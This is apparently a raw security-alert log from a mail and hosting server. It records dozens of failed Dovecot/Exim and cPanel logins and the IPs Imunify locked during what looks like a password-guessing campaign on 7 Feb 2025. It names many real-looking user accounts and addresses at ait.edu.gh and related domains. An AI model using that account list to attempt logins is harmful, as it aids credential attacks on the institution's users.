2025-02-07 17:05:44 dovecot_plain authenticator failed for ([183.249.1.81]) [183.249.1.81]:35106: 535 Incorrect authentication data (set_id=ads19b00282y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.247.227.109
country_id: 1814991
description:
Feb  7 17:05:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.247.227.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.247.227.109
country_id: 1814991
description:
2025-02-07 17:05:54 dovecot_plain authenticator failed for ([223.247.227.109]) [223.247.227.109]:37976: 535 Incorrect authentication data (set_id=eng19a00060y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.99.15.104
country_id: 1269750
description:
Feb  7 17:05:27 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.99.15.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.249.1.81
country_id: 1814991
description:
Feb  7 17:05:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.249.1.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.167.234.154
country_id: 1814991
description:
Feb  7 17:06:10 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.167.234.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.252.209.189
country_id: 6252001
description:
Feb  7 17:06:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.252.209.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.235.82.88
country_id: 1835841
description:
2025-02-07 17:05:32 dovecot_plain authenticator failed for ([222.235.82.88]) [222.235.82.88]:39760: 535 Incorrect authentication data (set_id=abs08b99933y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.69.17.18
country_id: 1694008
description:
2025-02-07 17:05:38 dovecot_plain authenticator failed for ([116.50.246.69]) [58.69.17.18]:44024: 535 Incorrect authentication data (set_id=eng19a00060y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.204.100
country_id: 1819730
description:
Feb  7 17:05:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.204.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.67.154.24
country_id: 294640
description:
Feb  7 17:05:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.67.154.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.67.154.24
country_id: 294640
description:
2025-02-07 17:05:59 dovecot_plain authenticator failed for bzq-109-67-154-24.red.bezeqint.net [109.67.154.24]:38522: 535 Incorrect authentication data (set_id=ads21b00225y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.78.222
country_id: 1835841
description:
Feb  7 17:06:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.78.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.57.78.222
country_id: 1835841
description:
2025-02-07 17:06:59 dovecot_plain authenticator failed for ([211.57.78.222]) [211.57.78.222]:52073: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.159.234.178
country_id: 2635167
description:
2025-02-07 17:07:01 dovecot_login authenticator failed for (ADMIN) [98.159.234.178]:59232: 535 Incorrect authentication data (set_id=info@aitsmartschool.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.122.139.172
country_id: 6252001
description:
2025-02-07 17:06:27 dovecot_plain authenticator failed for syn-070-122-139-172.res.spectrum.com [70.122.139.172]:58811: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.76.194.159
country_id: 6252001
description:
Feb  7 17:06:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.76.194.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.159.14.187
country_id: 3469034
description:
Feb  7 17:06:53 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.159.14.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.159.14.187
country_id: 3469034
description:
2025-02-07 17:06:55 dovecot_plain authenticator failed for (200-168-190-81.jandaia.com) [200.159.14.187]:35443: 535 Incorrect authentication data (set_id=abs32a11123y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.122.139.172
country_id: 6252001
description:
Feb  7 17:06:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.122.139.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.76.194.159
country_id: 6252001
description:
2025-02-07 17:06:38 dovecot_plain authenticator failed for pool-72-76-194-159.nwrknj.fios.verizon.net [72.76.194.159]:52196: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.17.216
country_id: 1880251
description:
47.128.17.216 - - [07/Feb/2025:17:07:01 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658455 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=30%2C125%2C61&filtering=1" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.17.216


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.13
country_id: 1819730
description:
Feb  7 17:07:43 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.69.17.18
country_id: 1694008
description:
Feb  7 17:07:50 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.69.17.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.34
country_id: 1819730
description:
2025-02-07 17:07:56 dovecot_plain authenticator failed for (m121-202-155-34.smartone.com) [121.202.155.34]:47368: 535 Incorrect authentication data (set_id=ads19a00027y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.242.86.203
country_id: 1814991
description:
2025-02-07 17:07:57 dovecot_plain authenticator failed for ([58.242.86.203]) [58.242.86.203]:54258: 535 Incorrect authentication data (set_id=okyere@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
country_id: 1835841
description:
Feb  7 17:08:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.81.213.46
country_id: 1168579
description:
Feb  7 17:07:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.81.213.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.81.213.46
country_id: 1168579
description:
2025-02-07 17:07:37 dovecot_login authenticator failed for ([203.81.213.46]) [203.81.213.46]:41903: 535 Incorrect authentication data (set_id=info@ait-edu.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.72.9.151
country_id: 1269750
description:
Feb  7 17:08:07 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.72.9.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2025-02-07 17:08:09 dovecot_login authenticator failed for (9.72.116.151.hathway.com) [116.72.9.151]:50280: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 90.156.162.8
country_id: 1512440
description:
[2025-02-07 17:08:20 +0100] info [webmaild] 90.156.162.8 - info@iric.us "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.34
country_id: 1819730
description:
Feb  7 17:07:54 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.202.71.21
country_id: 1835841
description:
2025-02-07 17:08:10 dovecot_plain authenticator failed for ([211.202.71.21]) [211.202.71.21]:47197: 535 Incorrect authentication data (set_id=ads19a00027y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.202.71.21
country_id: 1835841
description:
Feb  7 17:08:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.202.71.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.174.34.49
country_id: 1269750
description:
Feb  7 17:07:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.174.34.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.69.17.18
country_id: 1694008
description:
2025-02-07 17:07:52 dovecot_login authenticator failed for (70.246.50.116.ids.service.static.eastern-tele.com) [58.69.17.18]:54454: 535 Incorrect authentication data (set_id=info@ait-edu.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.242.86.203
country_id: 1814991
description:
Feb  7 17:07:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.242.86.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.203.251.186
country_id: 1835841
description:
2025-02-07 17:08:04 dovecot_plain authenticator failed for ([119.203.251.186]) [119.203.251.186]:52090: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2025-02-07 17:07:32 dovecot_plain authenticator failed for ([103.174.34.49]) [103.174.34.49]:65457: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.13
country_id: 1819730
description:
2025-02-07 17:07:45 dovecot_plain authenticator failed for ([121.202.152.13]) [121.202.152.13]:27903: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.203.251.186
country_id: 1835841
description:
Feb  7 17:08:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.203.251.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.95.114.242
country_id: 3469034
description:
Feb  7 17:08:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.95.114.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.95.114.242
country_id: 3469034
description:
2025-02-07 17:08:27 dovecot_plain authenticator failed for (242.114.95.187.static.liggatelecom.com.br) [187.95.114.242]:58522: 535 Incorrect authentication data (set_id=okyere)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.115.76.186
country_id: 6252001
description:
Feb  7 17:08:28 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.115.76.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.115.76.186
country_id: 6252001
description:
2025-02-07 17:08:30 dovecot_plain authenticator failed for ool-45734cba.dyn.optonline.net [69.115.76.186]:46444: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.130.129.49
country_id: 2017370
description:
Feb  7 17:08:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.130.129.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.0.134.10
country_id: 1814991
description:
2025-02-07 17:09:51 dovecot_plain authenticator failed for ([153.0.134.10]) [153.0.134.10]:47507: 535 Incorrect authentication data (set_id=ads21a00028y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.159.117.51
country_id: 690791
description:
Feb  7 17:09:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.159.117.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.159.117.51
country_id: 690791
description:
2025-02-07 17:09:50 dovecot_plain authenticator failed for (pool.sevtele.com) [178.159.117.51]:50297: 535 Incorrect authentication data (set_id=ads11a00011y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.79.232.38
country_id: 1269750
description:
Feb  7 17:10:01 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.79.232.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.79.232.38
country_id: 1269750
description:
2025-02-07 17:10:02 dovecot_plain authenticator failed for ([142.79.232.38]) [142.79.232.38]:54048: 535 Incorrect authentication data (set_id=ads21a00028y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2025-02-07 17:10:04 dovecot_plain authenticator failed for ([121.178.185.141]) [121.178.185.141]:43078: 535 Incorrect authentication data (set_id=ads11a00011y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.242.170.10
country_id: 1036973
description:
Feb  7 17:10:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.242.170.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.0.134.10
country_id: 1814991
description:
Feb  7 17:09:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.0.134.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.178.185.141
country_id: 1835841
description:
Feb  7 17:10:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.178.185.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2025-02-07 17:10:18 dovecot_plain authenticator failed for ([197.242.170.10]) [197.242.170.10]:58765: 535 Incorrect authentication data (set_id=abs20b00128y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.2.198
country_id: 1668284
description:
Feb  7 17:10:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.2.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.2.198
country_id: 1668284
description:
2025-02-07 17:10:31 dovecot_plain authenticator failed for 111-70-2-198.emome-ip.hinet.net [111.70.2.198]:35590: 535 Incorrect authentication data (set_id=abs20b00128y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.12.42.159
country_id: 1168579
description:
[2025-02-07 17:10:41 +0100] info [webmaild] 103.12.42.159 - info@university-publishing.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.162.255.170
country_id: 3469034
description:
[2025-02-07 17:11:02 +0100] info [webmaild] 191.162.255.170 - info@aitopen.us "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.238.70
country_id: 6252001
description:
Feb  7 17:11:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.238.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.217.199.167
country_id: 1814991
description:
Feb  7 17:11:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.217.199.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.217.199.167
country_id: 1814991
description:
2025-02-07 17:11:20 dovecot_plain authenticator failed for ([114.217.199.167]) [114.217.199.167]:12397: 535 Incorrect authentication data (set_id=mawunyo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.238.70
country_id: 6252001
description:
2025-02-07 17:11:20 dovecot_login authenticator failed for ([104.241.238.70]) [104.241.238.70]:37824: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.208.186.206
country_id: 1835841
description:
Feb  7 17:11:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.208.186.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.10
country_id: 1819730
description:
Feb  7 17:11:32 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.208.186.206
country_id: 1835841
description:
2025-02-07 17:11:33 dovecot_plain authenticator failed for ([175.208.186.206]) [175.208.186.206]:38622: 535 Incorrect authentication data (set_id=mawunyo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.219.222.15
country_id: 6251999
description:
Feb  7 17:11:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.219.222.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.253.10.61
country_id: 1835841
description:
Feb  7 17:12:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.253.10.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.253.10.61
country_id: 1835841
description:
2025-02-07 17:12:11 dovecot_plain authenticator failed for ([211.253.10.61]) [211.253.10.61]:42743: 535 Incorrect authentication data (set_id=dgyan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.10
country_id: 1819730
description:
2025-02-07 17:11:34 dovecot_login authenticator failed for (m121-202-155-10.smartone.com) [121.202.155.10]:31101: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 17:11:40 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.219.222.15
country_id: 6251999
description:
2025-02-07 17:11:59 dovecot_plain authenticator failed for ([207.219.222.15]) [207.219.222.15]:37479: 535 Incorrect authentication data (set_id=dgyan@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.108.88.121
country_id: 1814991
description:
Feb  7 17:12:24 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.108.88.121 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 37.40.224.40
country_id: 286963
description:
[2025-02-07 17:12:47 +0100] info [webmaild] 37.40.224.40 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.245.207.104
country_id: 1835841
description:
Feb  7 17:12:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.245.207.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.108.88.121
country_id: 1814991
description:
2025-02-07 17:12:26 dovecot_plain authenticator failed for ([113.108.88.121]) [113.108.88.121]:51054: 535 Incorrect authentication data (set_id=ddessel@ait-open.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.122.198.54
country_id: 1814991
description:
Feb  7 17:12:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.122.198.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.122.198.54
country_id: 1814991
description:
2025-02-07 17:12:36 dovecot_plain authenticator failed for ([157.122.198.54]) [157.122.198.54]:36582: 535 Incorrect authentication data (set_id=ddessel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.245.207.104
country_id: 1835841
description:
2025-02-07 17:12:57 dovecot_plain authenticator failed for ([1.245.207.104]) [1.245.207.104]:53310: 535 Incorrect authentication data (set_id=adom-oduro@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.196.144.45
country_id: 1814991
description:
Feb  7 17:13:06 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.196.144.45 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.196.144.45
country_id: 1814991
description:
2025-02-07 17:13:08 dovecot_plain authenticator failed for ([183.196.144.45]) [183.196.144.45]:37136: 535 Incorrect authentication data (set_id=adom-oduro)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.207.78.191
country_id: 1835841
description:
Feb  7 17:13:58 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.207.78.191 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.85.137
country_id: 3469034
description:
2025-02-07 17:13:58 dovecot_plain authenticator failed for (177-174-85-137.user.vivozap.com.br) [177.174.85.137]:57790: 535 Incorrect authentication data (set_id=ads09a99921y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.72.87.7
country_id: 3469034
description:
2025-02-07 17:14:17 dovecot_login authenticator failed for 177-72-87-7.static.as262543.net.br [177.72.87.7]:58530: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.216.101.162
country_id: 1814991
description:
2025-02-07 17:14:22 dovecot_plain authenticator failed for ([58.216.101.166]) [58.216.101.162]:37705: 535 Incorrect authentication data (set_id=ads20b00370y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.175.220.250
country_id: 2077456
description:
Feb  7 17:13:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.175.220.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.176.57
country_id: 1814991
description:
2025-02-07 17:13:44 dovecot_login authenticator failed for ([39.152.176.57]) [39.152.176.57]:34950: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.85.137
country_id: 3469034
description:
Feb  7 17:13:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.85.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.181.81.77
country_id: 1835841
description:
2025-02-07 17:14:00 dovecot_login authenticator failed for ([125.181.81.77]) [125.181.81.77]:12144: 535 Incorrect authentication data (set_id=info@ait-open.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.78.191
country_id: 1835841
description:
2025-02-07 17:14:00 dovecot_login authenticator failed for ([119.207.78.191]) [119.207.78.191]:36172: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.87.7
country_id: 3469034
description:
Feb  7 17:14:15 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.87.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.175.220.250
country_id: 2077456
description:
2025-02-07 17:13:33 dovecot_login authenticator failed for 110-175-220-250.static.tpgi.com.au (203-194-21-194.tpgi.com.au) [110.175.220.250]:46743: 535 Incorrect authentication data (set_id=info@lemsas.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.237.216.164
country_id: 1814991
description:
2025-02-07 17:13:44 dovecot_plain authenticator failed for ([183.237.216.164]) [183.237.216.164]:49077: 535 Incorrect authentication data (set_id=ads09a99921y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.223.144
country_id: 1835841
description:
Feb  7 17:14:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.223.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2025-02-07 17:14:13 dovecot_login authenticator failed for ([220.80.223.144]) [220.80.223.144]:58278: 535 Incorrect authentication data (set_id=dm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.216.101.162
country_id: 1814991
description:
Feb  7 17:14:20 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.216.101.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.237.216.164
country_id: 1814991
description:
Feb  7 17:13:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.237.216.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.181.81.77
country_id: 1835841
description:
Feb  7 17:13:58 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.181.81.77 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.114.123
country_id: 1880251
description:
47.128.114.123 - - [07/Feb/2025:17:13:28 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19433144 HTTP/1.1" 302 0 aitedu.us "http://aitedu.us/main/index.php?Itemid=200&id=148&option=com_content&view=article" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.114.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.152.176.57
country_id: 1814991
description:
Feb  7 17:13:42 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.152.176.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.90.195.68
country_id: 953987
description:
Feb  7 17:14:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.90.195.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.146.233.123
country_id: 1269750
description:
Feb  7 17:14:31 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.146.233.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.231.31.86
country_id: 2017370
description:
Feb  7 17:14:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.231.31.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.215.199.37
country_id: 1819730
description:
Feb  7 17:15:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.215.199.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.124.127.56
country_id: 6252001
description:
2025-02-07 17:15:19 dovecot_plain authenticator failed for ([98.124.127.56]) [98.124.127.56]:60318: 535 Incorrect authentication data (set_id=ads89b99891y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.93.87.71
country_id: 1694008
description:
